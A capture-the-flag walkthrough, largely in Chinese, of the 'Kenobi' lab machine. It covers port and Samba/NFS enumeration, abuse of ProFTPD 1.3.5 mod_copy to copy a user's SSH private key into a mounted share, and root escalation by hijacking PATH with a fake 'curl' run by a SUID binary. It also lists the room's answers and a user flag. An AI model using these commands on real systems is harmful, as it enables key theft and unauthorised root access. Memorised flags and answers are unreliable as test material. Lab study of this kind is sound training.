Offensive Pentesting-Kenobi
Offensive Pentesting-Kenobi
Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
此房间将涵盖访问 Samba 共享、操纵易受攻击的 proftpd 版本以获得初始访问权限,并通过 SUID 二进制文件将您的权限升级到 root。
扫端口
┌──(root㉿kali)-[/home/w3nx1z1]
└─# nmap -T4 -sV -sC 10.10.233.125
Starting Nmap 7.92 ( https://nmap.org ) at 2024-11-17 11:09 CST
Nmap scan report for 10.10.233.125
Host is up (0.27s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 36585/udp mountd
| 100005 1,2,3 49263/tcp mountd
| 100005 1,2,3 54329/udp6 mountd
| 100005 1,2,3 59841/tcp6 mountd
| 100021 1,3,4 39645/tcp nlockmgr
| 100021 1,3,4 40321/udp6 nlockmgr
| 100021 1,3,4 44189/tcp6 nlockmgr
| 100021 1,3,4 58684/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m59s, deviation: 3h27m51s, median: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-11-17T03:10:03
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2024-11-16T21:10:03-06:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.90 seconds
Scan the machine with nmap, how many ports are open?
7
Enumerating Samba for shares(枚举Samba)
Samba 是适用于 Linux 和 Unix 的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司内部网或互联网上的文件、打印机和其他常见共享资源。它通常被称为网络文件系统。
Samba 基于服务器消息块 (SMB) 的通用客户端/服务器协议。SMB 专为 Windows 开发,如果没有 Samba,其他计算机平台将与 Windows 计算机隔离,即使它们属于同一网络。
使用 nmap,我们可以枚举 SMB 共享的计算机。
Nmap 能够运行以自动执行各种网络任务。有一个脚本可以列举份额!
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.233.125
SMB 有两个端口,即 445 和 139。
使用上面的 nmap 命令,找到了多少个共享?
3
我们可以使用这条命令来连接到计算机的网络共享 并查看其中的文件
smbclient //10.10.233.125/anonymous
连接后,列出共享中的文件。您可以看到什么文件?
log.txt
可以使用more命令来读取其中的内容
到这里其实已经可以回答下面的问题了
What port is FTP running on?
21
在接着往下看
您也可以以递归方式下载 SMB 共享。将用户名和密码作为 nothing 提交。
smbget -R smb://10.10.40.36/anonymous
打开共享上的文件。发现了一些有趣的事情。
- 可以发现为kenobi用户生成了ssh私钥的信息
- 有关 ProFTPD 服务器的信息。
这个操作和网络速度有关系 有时候会报错连接不上 多试几次就好了
这部分是为用户生成 SSH 密钥时为 Kenobi 生成的信息
这一部分是有关 ProFTPD 服务器的信息 也提到了FTP服务在21端口上运行
您之前的 nmap 端口扫描将显示端口 111 运行服务 rpcbind。这只是一个将远程过程调用 (RPC) 程序编号转换为通用地址的服务器。当 RPC 服务启动时,它会告诉 rpcbind 它正在侦听的地址以及它准备提供的 RPC 程序编号。
在我们的例子中,端口 111 是对网络文件系统的访问。让我们用 nmap 来列举一下。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.40.36
这里可以看到开放的111端口运行了rpcbind服务(远程过程调用) 在这里是远程文件系统的共享 通过nfs-showmount的内容得知 当前目标主机通过nfs服务共享了/var文件夹 同时*
表示此共享目录对所有客户端(任何主机)都开放访问权限
What mount can we see?
/var
Gain initial access with ProFtpd(通过ProFtpd 获得初始访问权限)
ProFtpd 是一个免费的开源 FTP 服务器,与 Unix 和 Windows 系统兼容。它在过去的软件版本中也容易受到攻击。
让我们获取 ProFtpd 的版本。使用 netcat 通过 FTP 端口连接到本机。
版本是什么?
1.3.5
这一点我们在前面nmap扫端口的时候就已经可以分析出来
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
我们可以使用 searchsploit 来查找特定软件版本的漏洞。
Searchsploit 基本上只是一个用于 exploit-db.com 的命令行搜索工具。
ProFTPd 运行有多少个漏洞?
4
但是这里我们不直接使用搜到的ProFTPd 1.3.5的漏洞利用文件 而是按照我们上面在日志中找到的记录 利用为kenobi用户生成的ssh私钥 来ssh远程连接 登录到kenobi账户
ProFtpd的mod_copy 模块可以实现 SITE CPFR 和 SITE CPTO 命令,这些命令可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。
我们知道 FTP 服务以 Kenobi 用户身份运行(从共享上的文件),并且会为该用户生成 ssh 密钥。
根据上面找到的开启FTP服务的端口是21 我们可以先来连接这个FTP服务 在日志中找到私钥在目标靶机上保存的路径是/home/kenobi/.ssh/id_rsa
┌──(w3nx1z1㉿kali)-[~/桌面]
└─$ nc 10.10.166.18 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.166.18]
SITE CPFR /home/kenobi/.ssh/id_rsa # 需要我们输入
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa # 需要我们输入
250 Copy successful
这样我们就将/home/kenobi/.ssh/id_rsa私钥复制到了/var/tmp/id_rsa 同时根据上面任务2的第四题 我们得知rpcbind服务开启的共享文件夹服务就是挂载在了/var文件夹上
mkdir /mnt/kenobiNFS
mount 10.10.166.18:/var /mnt/kenobiNFS
ls /mnt/kenobiNFS/tmp
此时我们看到/mnt/kenobiNFS/tmp文件夹下已经有了我们需要的私钥文件 下面将这个私钥文件复制到当前文件夹中
cp /mnt/kenobiNFS/tmp/id_rsa .
在赋予私钥文件600权限
sudo chmod 600 id_rsa
权限编号 | 权限字符串 | 拥有者权限 | 组权限 | 其他人权限 | 常见用途 |
---|---|---|---|---|---|
600 | rw------- |
读写 | 无 | 无 | SSH 私钥文件 |
644 | rw-r--r-- |
读写 | 读 | 读 | 公共文件 |
755 | rwxr-xr-x |
读写执行 | 读执行 | 读执行 | 可执行脚本或程序 |
777 | rwxrwxrwx |
读写执行 | 读写执行 | 读写执行 | 开放权限,通常不推荐 |
上面是一些常见的权限对应的用途 这里只能给600权限 太高权限会报错
这里给到600权限后 我们连上shell 拿到用户文件夹下的flag
What is Kenobi’s user flag (/home/kenobi/user.txt)?
d0b0f3f53b6caa532a83915e19224899
Privilege Escalation with Path Variable Manipulation(suid提权之menu提权)
同样在拿到kenobi普通用户的shell之后 我们需要进行提权 进而拿到root用户的权限 也是先看一下有无可以利用的suid命令
find / -type f -perm -u=s 2>/dev/null
这里看到 虽然同样是给了sudo和su 但是我们并不知道kenobi用户的登陆密码 因此这里我们选择使用meun来提权
我们尝试运行一下这个命令 发现在执行的时候会出现三个选项 选择不同选项之后会执行对应的命令并输出
这里使用strings命令 可以在这个可执行的二进制程序中查找我们可读的字符串 看到了三个选项对应的三个会执行的命令
那我们这里使用命令劫持 伪造一个curl
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
意思就是在/tmp中创建一个curl文件 将/bin/sh
写入这个curl文件中并给予他777的权限 同时在环境变量中将将 /tmp
目录添加到最前面 并在 /tmp
之后,保留原有的路径列表 这样的话在我们执行命令的时候 会先从/tmp文件夹中寻找并执行 这样就可以优先执行我们伪造的“curl”文件 进而执行/bin/sh
命令 又因为我们在执行menu时 选择选项1 执行的是
curl -I localhost
这样在命令劫持之后就变成了
/bin/sh -I localhost
但是因为menu命令有suid权限 那此时执行的/bin/sh
也就有了root权限 从而给我们返回一个root权限的shell
考点
1.Samba 共享文件夹读取、下载远程靶机中的文件
2.proftpd 1.3.5的mod_copy 模块漏洞允许任意客户端将文件从文件系统的任何部分复制到选定的位置
3.将共享的远程文件夹挂载到本地文件夹中 复制出上一步移动的私钥文件 ssh连接普通用户
4.SUID提权 利用命令劫持 执行/bin/sh
命令 拿到root权限的shell